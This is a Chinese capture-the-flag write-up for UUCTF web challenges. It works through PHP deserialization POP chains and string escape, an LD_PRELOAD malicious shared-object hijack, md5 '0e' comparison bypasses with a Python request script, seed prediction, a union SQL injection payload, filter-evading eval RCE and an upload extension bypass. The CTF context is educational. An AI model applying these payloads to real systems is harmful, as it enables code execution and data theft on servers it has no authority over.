• UUCTF WP


    ezpop

    一次成功,太爽

    先构造原始POP链子:

    1. error_reporting(0);
    2. class output{
    3. public $a; // a=new youwant();
    4. function __toString(){
    5. $this->a->rce();
    6. }
    7. }
    8. class nothing{
    9. public $a;
    10. public $b;
    11. public $t;
    12. function __wakeup(){
    13. $this->a=""; // a = new output();
    14. }
    15. function __destruct(){
    16. $this->b=$this->t;
    17. die($this->a); // toString
    18. }
    19. }
    20. class youwant{
    21. public $cmd; // system("cat flag.php");
    22. function rce(){
    23. eval($this->cmd);
    24. }
    25. }
    26. $a=new nothing();
    27. $a->t=new output();
    28. $a->t->a = new youwant();
    29. $a->t->a->cmd = "system('cat flag.php');";
    30. $a->a=&$a->b;
    31. echo serialize($a)."\n";
    32. echo base64_encode(serialize($a));

    输出:

    O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:23:"system('cat flag.php');";}}}

    Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

    有了base64encode的值之后,尝试使用UUCTF的链子来反序列化:

    1. //flag in flag.php
    2. error_reporting(0);
    3. class UUCTF{
    4. public $name,$key,$basedata,$ob;
    5. function __wakeup(){
    6. if($this->key==="UUCTF"){
    7. $this->ob=unserialize(base64_decode($this->basedata));
    8. }
    9. else{
    10. die("oh!you should learn PHP unserialize String escape!");
    11. }
    12. }
    13. }
    14. class output{
    15. public $a; // a=new youwant();
    16. function __toString(){
    17. $this->a->rce();
    18. }
    19. }
    20. class nothing{
    21. public $a;
    22. public $b;
    23. public $t;
    24. function __wakeup(){
    25. $this->a=""; // a = new output();
    26. }
    27. function __destruct(){
    28. $this->b=$this->t;
    29. die($this->a); // toString
    30. }
    31. }
    32. class youwant{
    33. public $cmd; // system("cat flag.php");
    34. function rce(){
    35. eval($this->cmd);
    36. }
    37. }
    38. //Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19==
    39. $a = new UUCTF();
    40. $a->name = "qingfeng";
    41. $a->key = "UUCTF";
    42. $a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";
    43. echo serialize($a);

    输出:

    O:5:"UUCTF":4:{s:4:"name";s:8:"qingfeng";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}

    接下来就是构造恶意参数了:

    发现要逃逸的有237个字符,那就使用237个hacker

    再拼接后面的逃逸反序列对象:

    hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:177:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19=";s:2:"ob";N;}

    丢到POST传参

    uploadandinject

    hint.php直接访问,提示swp文件

    下载.index.php.swp文件,如何Linux用vim -r .index.php.swp读原来文件内容:

    看到putenv和LD_PRELOAD就感觉是劫持环境变量了,虽然做过类似题目,但是不是很会利用。就翻阅了很多篇文章:

    深入浅出LD_PRELOAD & putenv() - 安全客,安全资讯平台(推荐这篇优先)

    从一道题学习LD_PRELOAD & putenv()_Snakin_ya的博客-CSDN博客

    LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir_weixin_30247781的博客-CSDN博客

    以前的姿势都是:php+恶意so文件配合:

    putenv("LD_PRELOAD=" . $so_path);  //加载恶意动态库
    mail("", "", "", "");  //利用mail函数触发恶意函数,跳转至__attribute__ ((__constructor__))修饰的函数。

    第二篇文章可以看到这样的注释:

    putenv("LD_PRELOAD=")的形式可以加载恶意动态库

    mail触发恶意函数跳转至__attribute__ ((__constructor__))修饰的函数

    但是现在无法上传php文件,该怎么办?

    文章中有这么一个方法:

    改进版(hijack shared library)

    我本地试了之后发现echo $img_path;这一句话可以触发so文件,但是具体原因确实不是很了解。有了解的师傅可以指点一下出来!!

    起码现在可以触发so文件了,那么久用__attribute__ ((__constructor__))+读文件的组合拳便可以执行命令了

    制作c文件:

    1. #define _GNU_SOURCE
    2. #include
    3. #include
    4. #include
    5. __attribute__ ((__constructor__)) void angel (void){
    6. unsetenv("LD_PRELOAD");
    7. system("cat /f*");
    8. }

    编译一下:

    gcc -shared -fPIC test.c -o test.so

    然后把test.so文件改名test.jpg上传之后读取:

    funmd5

    题目给了源码:

    1. error_reporting(0);
    2. include "flag.php";
    3. $time=time();
    4. $guessmd5=md5($time);
    5. $md5=$_GET["md5"];
    6. if(isset($md5)){
    7. $sub=substr($time,-1);
    8. $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    9. if(preg_match('/0e/',$md5[0])){
    10. $md5[0]=substr($md5[0],$sub);
    11. if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
    12. echo "well!you win again!now flag is yours.
      "
      ;
    13. echo $flag;
    14. }
    15. else{
    16. echo $md5[0];
    17. echo "oh!no!maybe you need learn more PHP!";
    18. }
    19. }
    20. else{
    21. echo "this is your md5:$md5[0]
      "
      ;
    22. echo "maybe you need more think think!";
    23. }
    24. }
    25. else{
    26. highlight_file(__FILE__);
    27. $sub=strlen($md5[0]);
    28. echo substr($guessmd5,0,5)."
      "
      ;
    29. echo "plase give me the md5!";
    30. }
    31. ?>

    本来卡在这一句:

    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);

    问了xiaoqiuxx师傅,原来是匹配头和尾也没有0e,用换行可以绕过。

    ok,这一步解决了那就简单多了,说一下我的思路:

    $md5[0]=substr($md5[0],$sub);

    $md5[0]被新赋值了,而且$sub是随着时间的变化而变化,那么包括0e之后内容就是我们可控的

    举个例子:

     
    

    那么我们就可以把前面的\n去掉,从而实现0e绕过md5的方法

    $md5[1]的话看时间戳就可以了,可以写python发包,也可以直接卡时间戳手动发包

    所以传参?md5[]=%0a0e215962017&md5[]=xxxxx

    这里写一个python脚本吧:(因为做题的时候是手动发包,写周报就换个方法吧)

    1. import hashlib
    2. import requests
    3. import time
    4. url = "http://43.143.7.97:28130/index.php"
    5. while True:
    6. if str(int(time.time()))[-1] == "2":
    7. time.sleep(0.7)
    8. timestamp = str(int(time.time()))
    9. md5 = hashlib.md5(timestamp.encode())
    10. md5value = md5.hexdigest()
    11. url = url+'?md5[]=' + "%0a%0d0e215962017" + "&md5[]=" + md5value
    12. print(url)
    13. print(time.time())
    14. resp = requests.get(url)
    15. print(resp.text)
    16. break

    加sleep是因为有延迟

    phonecode

    题目提示下一次必命中+测试后 感觉是php_seed

    跑脚本

    多试试几个种子:

    1. mt_srand(2189516557);//手工播种
    2. echo mt_rand()."\n";
    3. echo mt_rand()."\n";
    4. echo mt_rand()."\n";
    5. echo mt_rand()."\n";
    6. echo mt_rand()."\n";
    7. echo mt_rand()."\n";
    8. echo mt_rand()."\n";
    9. system("php -v");
    10. ?>

    11. 1355882822

    填完得到flag:

    ezsql

    这个是真的ezsql,union注入就可以得到flag了

    直接上payload了:

    ?user=1&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+%29%271

    ez_rce

    源码:

    1. 居然都不输入参数,可恶!!!!!!!!!
    2. ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
    3. if(isset($_GET['code'])){
    4. $code=$_GET['code'];
    5. if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
    6. echo '看看你输入的参数!!!不叫样子!!';echo '
      '
      ;
    7. eval($code);
    8. }
    9. else{
    10. die("你想干什么?????????");
    11. }
    12. }
    13. else{
    14. echo "居然都不输入参数,可恶!!!!!!!!!";
    15. show_source(__FILE__);
    16. }

    知识:`whoami`=>shell_exec() 捆绑的 函数被禁用则``也不能用,过滤的话可以

    这里只是把shell给禁了,``还是可以用的

    但是发现没有回显。。。

    函数print_r,var_dump();

    可以显示,就可以拿下了:

    ez_upload

    1.jpg.php绕过

    ez_unser

    源码:

    1. show_source(__FILE__);
    2. ###very___so___easy!!!!
    3. class test{
    4. public $a;
    5. public $b;
    6. public $c;
    7. public function __construct(){
    8. $this->a=1;
    9. $this->b=2;
    10. $this->c=3;
    11. }
    12. public function __wakeup(){
    13. $this->a='';
    14. }
    15. public function __destruct(){
    16. $this->b=$this->c;
    17. eval($this->a);
    18. }
    19. }
    20. $a=$_GET['a'];
    21. if(!preg_match('/test":3/i',$a)){
    22. die("你输入的不正确!!!搞什么!!");
    23. }
    24. $bbb=unserialize($_GET['a']);

    __wakeup+__destruct绕过:

    unserialize __wakeup bypass · Issue #9618 · php/php-src · GitHub

    很遗憾,试了一下好像都不行。。。。。

    这里用了xiaoqiuxx师傅告诉我的用地址的方法

    1. error_reporting(0);
    2. class test{
    3. public $a;
    4. public $b;
    5. public $c;
    6. }
    7. $a = new test();
    8. $a->c = "system('cat /f*');";
    9. $a->b = "system('cat /f*');";
    10. $a->a = &$a->b;
    11. echo serialize($a);
    12. //O:4:"test":3:{s:1:"a";s:18:"system('cat /f*');";s:1:"b";R:2;s:1:"c";s:18:"system('cat /f*');";}

    得到flag:

    ezrce

    这个是看了别人wp后才知道的

    >nl

    >* /*>a

    访问/tmp/a

    得到flag

    这里提示命令执行失败是假的(哭),xiaoqiuxx师傅提醒我是访问/tmp/目录,难怪原来没有。。

    backdoor

    这一题还没搞清楚,看别人的吧

    UUCTF - Welcome to my blog

  • 相关阅读:
    软件合同保密协议
    Java程序员容易踩中的6个坑(荣耀典藏版)
    git1:git课程概述
    `VUE`的介绍
    Python和命令行脚本嗅探物联网络及短中远程无线电
    [java刷算法]牛客—剑指offer矩阵的打印,栈的实现与特殊栈
    配置、软件配置项、软件配置管理项辨析
    CTFSHOW框架复现篇
    在Ubuntu中设置中文输入法的步骤
    CTF-XSS
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/127647525